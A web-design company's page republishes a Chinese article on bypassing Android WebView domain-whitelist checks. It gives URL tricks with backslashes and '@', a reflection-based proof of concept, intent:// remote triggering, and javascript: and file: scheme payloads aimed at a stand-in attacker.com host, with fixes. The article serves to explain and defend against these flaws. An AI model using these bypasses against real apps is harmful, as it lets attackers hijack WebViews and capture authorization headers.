我们专注攀枝花网站设计 攀枝花网站制作 攀枝花网站建设
成都网站建设公司服务热线:400-028-6601

网站建设知识

十年网站开发经验 + 多家企业客户 + 靠谱的建站团队

量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决

Android中怎么绕过域名白名单校验

这期内容当中小编将会给大家带来有关Android中怎么绕过域名白名单校验,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

在铜仁等地区,都构建了全面的区域性战略布局,加强发展的系统性、市场前瞻性、产品创新能力,以专注、极致的服务理念,为客户提供成都网站建设、做网站 网站设计制作定制网站设计,公司网站建设,企业网站建设,品牌网站设计,营销型网站,成都外贸网站建设,铜仁网站建设费用合理。

一、 Url加入反斜杠"\"

1.1. 方法描述

先来看一种典型的域名校验写法:

/*  Uri 结构
*   [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
   webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
   // or webView.loadUrl(uri.toString())
}

然而...

String url = "http://attacker.com\\.legitimate.com/smth";
Log.d("getHost:", Uri.parse(url).getHost());         // 输出 attacker.com\.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
       webView.loadUrl(url, getAuthorizationHeaders());  // 成功加载 attacker.com!
}

可以看到 getHost() 和 loadUrl() 的表现不一致,if检验跳转目标是legitimate.com,但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。那么如果是用 equals() 来做完整的 host 检验该怎么办呢?只需加一个‘@’就能隔断非法前缀。

String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost());          // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com!

1.2. 分析原因

看来android.net.Uri的 parse() 是有安全缺陷的,我们扒拉一下代码定位问题...

[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
       return new StringUri(uriString);
}

继续看这个内部类StringUri

[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
       ...
       private StringUri(String uriString) {
           this.uriString = uriString;
       }
       ...
       private Part getAuthorityPart() {
           if (authority == null) {
               String encodedAuthority
                       = parseAuthority(this.uriString, findSchemeSeparator());
               return authority = Part.fromEncoded(encodedAuthority);
           }
           return authority;
       }
       ...
       static String parseAuthority(String uriString, int ssi) {
           int length = uriString.length();
           // If "//" follows the scheme separator, we have an authority.
           if (length > ssi + 2
                   && uriString.charAt(ssi + 1) == '/'
                   && uriString.charAt(ssi + 2) == '/') {
               // We have an authority.
               // Look for the start of the path, query, or fragment, or the
               // end of the string.
               int end = ssi + 3;
               LOOP: while (end < length) {
                   switch (uriString.charAt(end)) {
                       case '/': // Start of path
                       case '?': // Start of query
                       case '#': // Start of fragment
                           break LOOP;
                   }
                   end++;
               }
               return uriString.substring(ssi + 3, end);
           } else {
               return null;
           }
       }
}

这里就明显看到StringUri没有对authority部分做反斜杠的识别处理, 接着找StringUri的父类AbstractHierarchicalUri瞧瞧:

[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
   private String parseUserInfo() {
       String authority = getEncodedAuthority();
       int end = authority.indexOf('@');
       return end == NOT_FOUND ? null : authority.substring(0, end);
   }
   ...
   private String parseHost() {
       String authority = getEncodedAuthority();
       // Parse out user info and then port.
       int userInfoSeparator = authority.indexOf('@');
       int portSeparator = authority.indexOf(':', userInfoSeparator);
       String encodedHost = portSeparator == NOT_FOUND
               ? authority.substring(userInfoSeparator + 1)
               : authority.substring(userInfoSeparator + 1, portSeparator);
       return decode(encodedHost);
   }
}

就在这里把@符号之前内容的作为 UserInfo 给切断了,host 内容从@符号之后算起。(这里其实存在另一个 bug,没有考虑多个@的情况)

1.3. 影响范围

Google 在 2018年4月的 Android 安全公告里发布了这个漏洞CVE-2017-13274的补丁

通过AndroidXRef查询,这个补丁在 Oreo - 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响,而 Google 一般通过协议要求 OEM 厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。

PS:url含多个@的情况也在2018年1月的补丁中进行了修复CVE-2017-13176

二、反射调用HierarchicalUri构造Uri

2.1. 检查UserInfo

上一节提到了@的截取的特性,会把恶意地址前缀attacker.com存入 UserInfo,那么现在改进校验方法, 加上 UserInfo 的检查是不是就万无一失了呢?

[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
                     uri.getUserInfo() == null &&
                     "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
   webView.load(uri.toString(), getAuthorizationHeaders());
}

2.2. 挖掘思路

我们还是看android.net.Uri源码,发现除了StringUri,还有一个内部类也 HierarchicalUri 也继承了 AbstractHierarchicalUri

[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {

   private final String scheme; // can be null
   private final Part authority;
   private final PathPart path;
   private final Part query;
   private final Part fragment;

   private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
       this.scheme = scheme;
       this.authority = Part.nonNull(authority);
       this.path = path == null ? PathPart.NULL : path;
       this.query = Part.nonNull(query);
       this.fragment = Part.nonNull(fragment);
   }

   ...
}

而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。继续查看Part和PathPart类的构造方法:    

static class Part extends AbstractPart {
   private Part(String encoded, String decoded) {
       super(encoded, decoded);
   }
}
static class PathPart extends AbstractPart {
   private PathPart(String encoded, String decoded) {
       super(encoded, decoded);
   }
}

2.3. 构造PoC

由此构造 PoC 如下:

public void PoC() {
   private static final String TAG = "PoC";
   String attackerUri = "@attacker.com";
   String legitimateUri = "legitimate.com";

   try {
       Class partClass = Class.forName("android.net.Uri$Part");
       Constructor partConstructor = partClass.getDeclaredConstructors()[0];
       partConstructor.setAccessible(true);

       Class pathPartClass = Class.forName("android.net.Uri$PathPart");
       Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
       pathPartConstructor.setAccessible(true);

       Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
       Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
       hierarchicalUriConstructor.setAccessible(true);

       Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
       Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
       Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

       Log.d(TAG, "Scheme: " + uri.getScheme());
       Log.d(TAG, "UserInfo: " + uri.getUserInfo());
       Log.d(TAG, "Host: " + uri.getHost());
       Log.d(TAG, "toString(): " + uri.toString());

   } catch (Exception e) {
       throw new RuntimeException(e);
   }
   Intent intent = new Intent("android.intent.action.VIEW");
   intent.setClassName(Victim_packageName, Victim_className);
   intent.setData(uri);
   intent.addFlags(268435456);
   startActivity(intent);
}

logcat 输出:

07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://legitimate.com@attacker.com

从输出日志可以看到,通过此反射方法构造的 Uri 对象,可以通过 check_v2 方法对 SchemeUserInfoHost 的三项检验,但 toString() 方法的值https://legitimate.com@attacker.com,才是被攻击的 Activity 拉起的实际地址。如前所述,@符号之后的    attacker.com 便成为了最终访问的 host。

2.4. 限制与绕过

Android P 之后 Google 对 non-sdk 的 @hide API 进行了限制。Android Studio 也会给出如下提示,并且让这种反射调用在运行时报错失败。

Accessing internal APIs via reflection is not supported and may not work on all devices or in the future less... (Ctrl+F1) Inspection info:Using reflection to access hidden/private Android APIs is not safe; it will often not work on devices from other        vendors, and it may suddenly stop working (if the API is removed) or crash spectacularly (if the API behavior changes, since there are no guarantees for compatibility). Issue id: PrivateApi

截止到目前——Android Q Beta 4,还是有绕过的方法, 关于绕过原理的梳理不在本文议题范围。

2.5. 修复方法

抵御这种攻击的方法也非常简单,对传入的 Uri 对象加一次 parse() 再做 check_v2 即可。事实上,有大量的开发者因为不了解这个性质,认为传入的 url 已经是”正常“通过 Uri.parse() 构造的,直接信任放行。

三、远程利用方法1

我们知道,通过在组件中注册 intent-filter,App 可以响应浏览器应用或短信应用访问的外链。典型的一个配置写法如下,只有 标签中指定的内容和 Intent 中携带的 Data 完全一致时,当前活动才能响应该 Intent。


   
       
       
       
       
   

前面两种方法我们都是用安装恶意 App 或 ADB 命令来触发攻击,注意到 Android 对 定义的属性,也是通过 parsedIntent.getData().getHost() 来进行匹配的,我们很自然的想到尝试远程利用。


Click Attack v1
Click Attack v2

然而,对于第一个链接,浏览器会自动把反斜杠 "\" 纠正为正斜杠 "/"对于第二个链接,反斜杠 "\" 会以 URL 编码形式保留而无法触发方法1

通过仔细研究intent://scheme的工作机制,发现可以通过如下方式保留反斜杠 "\" 的方法:

PoC:

Click Attack v3

跟踪源码,可以看到,访问这个链接,等价于执行:

Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

从而实现方法1的远程执行版本。

四、缺少scheme验证

实战不乏有些 App 对 host 做了校验,但却遗漏了对 scheme 的检查。

可以用下面的 uri, 尝试进行 js 和 file 域的 PoC:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html

上述就是小编为大家分享的Android中怎么绕过域名白名单校验了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。


新闻标题:Android中怎么绕过域名白名单校验
新闻来源:http://shouzuofang.com/article/ihdcoo.html

其他资讯